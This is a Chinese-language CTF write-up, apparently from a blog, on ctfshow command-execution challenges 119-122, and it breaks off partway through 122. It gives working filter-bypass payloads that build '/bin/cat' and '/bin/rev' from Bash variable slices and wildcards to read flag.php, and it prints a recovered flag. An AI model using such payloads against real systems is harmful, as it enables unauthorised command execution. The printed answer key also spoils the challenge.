您当前的位置: 首页 > 

九枕

暂无认证

  • 2浏览

    0关注

    42博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctfshow学习记录-web入门(命令执行119-122&124)

九枕 发布时间:2022-06-29 11:00:00 ,浏览量:2

目录
    • web119
    • web120
    • web121
    • web122
    • web124

web119

解答:和web118差不多,但是这次PATH被过滤了,不能使用上一个payload了,需要重新构造。 我们先来看一下我们能用的数字有哪些: 0:可以用字符代替; 1:${#SHLVL}=1,或者${##}${#?}

SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${#SHLVL}=1,然后在此shell中再打开一个shell时${#SHLVL}=2

2:用wappalyzer插件可以看到php的版本是7.3.22,所以2可以用${PHP_VERSION:~A}代替。 3:${#IFS}=3。(linux下是3,mac里是4) 4或者5:${#RANDOM}返回的值大多数是4和5,其中5的概率多一些。(linux下)

在这里插入图片描述 ${PWD} :/var/www/html ${USER} :www-data ${HOME} :当前用户的主目录

开始构造:可以构造一下/bin/cat /${PWD::${#SHLVL}} a${USER:~A} t${USER:~${#SHLVL}:${#SHLVL}} (a和t可以挑一个构造即可)

payload1:构造/???/?a? ????.???

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? 这个可以获取到flag,就是有一些乱杂乱数据,字最后有flag 在这里插入图片描述 payload2:构造/???/??t ????.???(这个就是只有flag.php的内容) ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}} ????.??? 在这里插入图片描述

payload3:是题中给的wp: ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

${#xxx}表示变量返回值的长度,如果其主目录是/root,则HOSTNAME是root,长度为4,那么${#HOSTNAME}=4,/root从0开始数,4位置是t。 但在实际做题过程中,上面的只是推测,不能确定HOME的值是什么,不过HOME里的第一个字符/可以拿来用。

web120

解答:这道题提供了源码,可以看到PATH和HOME被过滤了还有一堆字符、小写字母和数字。同时,对输入字符串的长度也进行了限制。

可以用上一题payload1: code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

查看源码获取flag。 在这里插入图片描述

web121

解答:这个题限制的更多了,不过还是留了个PWD,这里~也被过滤了,只能正向找字符构造了。

PWD:/var/www/html 现有能用的数字有0,1,3,4、5。(具体可以看一下web119) 由于SHLVL被过滤了,那么可以用${#?}或者${##}代替1。

这次可以用/bin/rev读取,rev命令可以实现文件文本行,或字符串的反序显示。那么需要获取/r字符,或者 v

构造/???/??v: code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.??? 构造/???/r??: code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.??? 在这里插入图片描述 然后用一个小脚本反转一下:

str1="}96f463e39fb9-a71a-daa4-ebce-dbfd8617{wohsftc"
str2=list(str1)
str2.reverse()
flag="".join(str2)
print(flag)
#ctfshow{7168dfbd-ecbe-4aad-a17a-9bf93e364f69}
web122

解答:这次PWD被过滤了,但是HOME可以用了。

1)/可以通过HOME获取,需要数字1,但是#被过滤了。

$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。一部分命令失败会返回1,也有一些命令返回其他值,表示不同类型的错误,比如Command not found返回127。

为了能够让$?可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用

关注
打赏
1662624000
查看更多评论
0.0365s